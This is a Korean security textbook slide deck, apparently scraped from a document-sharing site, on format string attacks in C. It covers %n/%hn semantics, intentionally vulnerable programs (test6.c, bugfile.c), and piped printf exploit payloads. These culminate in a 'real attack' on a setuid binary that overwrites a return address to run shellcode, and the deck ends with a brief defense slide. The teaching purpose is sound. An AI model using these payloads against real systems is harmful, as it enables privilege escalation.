√ 원리를 알면 it 가 맛있다

25
한한한한한한 - 1 - IT COOKBOOK ehanbit.net 원원원 원원 IT 원 원원원 정정 정정 정정정 정정 정정정 정정정 정정 ehanbit.net

Upload: elijah-wolfe

Post on 01-Jan-2016

59 views

Category:

Documents


10 download

DESCRIPTION

정보 보안 개론과 실습 시스템 해킹과 보안. √ 원리를 알면 IT 가 맛있다. ehanbit.net. 학습목표. 포맷 스트링의 취약점 이해 포맷 스트링 문자 이용 포맷 스트링 공격 수행 포맷 스트링 공격 방어. 포맷 스트링 공격에 대한 이해. ■ 포맷 스트링 함수. 올바른 포맷 스트링 함수 사용법. #include main(){ char *buffer = "wishfree"; printf("%s\n", buffer); }. 잘못된 포맷 스트링 함수 사용법. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 1 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

√ 원리를 알면 IT 가 맛있다

정보 보안 개론과 실습시스템 해킹과 보안

ehanbit.net

Page 2: √  원리를 알면  IT 가 맛있다

chapter 09.

포맷 스트링

Page 3: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 3 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

학습목표

• 포맷 스트링의 취약점 이해

• 포맷 스트링 문자 이용

• 포맷 스트링 공격 수행

• 포맷 스트링 공격 방어

Page 4: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 4 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수

#include <stdio.h>

main(){

char *buffer = "wishfree";

printf("%s\n", buffer);

}

올바른 포맷 스트링 함수 사용법

잘못된 포맷 스트링 함수 사용법

#include <stdio.h>

main(){

char *buffer = "wishfree\n";

printf(buffer);

}

포맷 스트링 공격에 대한 이해

Page 5: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 5 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수

파라미터 (Parameter) 변수 형식

%d 정수형 10 진수 상수 (integer)

%f 실수형 상수 (float)

%lf 실수형 상수 (double) 

%c 문자 값 (char)

%s 문자 스트링 ((const)(unsigned) char *)

%u 양의 정수 (10 진수 )

%o 양의 정수 (8 진수 )

%x 양의 정수 (16 진수 )

%s 문자열

%n * int ( 쓰인 총 바이트 수 )

%hn %n 의 반인 2 바이트 단위

포맷 스트링의 종류

포맷 스트링 공격에 대한 이해

Page 6: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 6 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test1.c

#include <stdio.h>

main(){

char *buffer = "wishfree\n%x\n";

printf(buffer);

}

포맷 스트링 공격에 대한 이해

Page 7: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 7 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점 Test3.c

#include <stdio.h>

main(){

long i=0x00000064, j=1;

printf(" 최초 i 의 값 : %x\n",&i);

printf("i 값이 저장된 주소 : %x\n",i);

printf("%64d%n\n", j, &i);

printf(" 변경된 i 의 값 : %x\n",i);

}

포맷 스트링 공격에 대한 이해

Page 8: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 8 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

#include <stdio.h>

#include "dumpcode.h"

main(){

char buffer[64];

fgets(buffer, 63, stdin);

printf(buffer);

dumpcode ((char *)buffer, 100);

}

포맷 스트링 공격에 대한 이해

Page 9: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 9 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

gcc -o test6 test6.c ./test6 AAAAAAAA

포맷 스트링 공격에 대한 이해

Page 10: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 10 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%n"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 11: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 11 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 12: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 12 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 13: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 13 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64d%%hn"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 14: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 14 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점 Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%3221224116d%%n"; cat) | ./test6

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64180d%%hn"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 15: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 15 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff\xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 16: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 16 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 함수의 취약점

Test6.c

(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff\xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test6

포맷 스트링 공격에 대한 이해

Page 17: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 17 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행

bugfile.c

#include <stdio.h>

main(){

int i =0;

char buf[64];

memset(buf, 0, 64);

read(0, buf, 64);

printf(buf);

}

포맷 스트링 공격에 대한 이해

Page 18: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 18 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행

bugfile.c

./bugfile AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

포맷 스트링 공격에 대한 이해

Page 19: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 19 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행

Bugfile 실행 시 스택의 구조

포맷 스트링 공격에 대한 이해

Page 20: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 20 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행 GDB 를 이용한 Bugfile 메모리 구조 확인

Disass main

break *0x8048657 run

포맷 스트링 공격에 대한 이해

Page 21: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 21 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행

GDB 를 이용한 Bugfile 메모리 구조 확인

info reg $ebp x/12 $ebp

포맷 스트링 공격에 대한 이해

Page 22: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 22 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행

실제 공격

chmod 4755 bugfile su wishfree ./egg

포맷 스트링 공격에 대한 이해

Page 23: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 23 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격 수행 실제 공격

(printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf\x41\x41\x41\x41\x6e\xf3\xff\xbf%%64840d%%hn%%49831d%%hn";cat) | ./bugfile

포맷 스트링 공격에 대한 이해

Page 24: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 24 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

■ 포맷 스트링 공격에 대한 대응책

포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면 , 문제가 생기지 않는다 .

주요 취약 함수

printf("%s\n", buffer);

fprintf (fp, 서식문자열 , 인자 1, ... , 인자 N)

int sprintf (char *str, const char *fmt,...)

snprintf (char *str, size_t count, const char *fmt,...)

유닉스 Sysem V 에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf

포맷 스트링 공격에 대한 대응책

Page 25: √  원리를 알면  IT 가 맛있다

한빛미디어㈜ - 25 -

IT COOKBOOKIT COOKBOOK

ehanbit.net

Thank you

ehanbit.net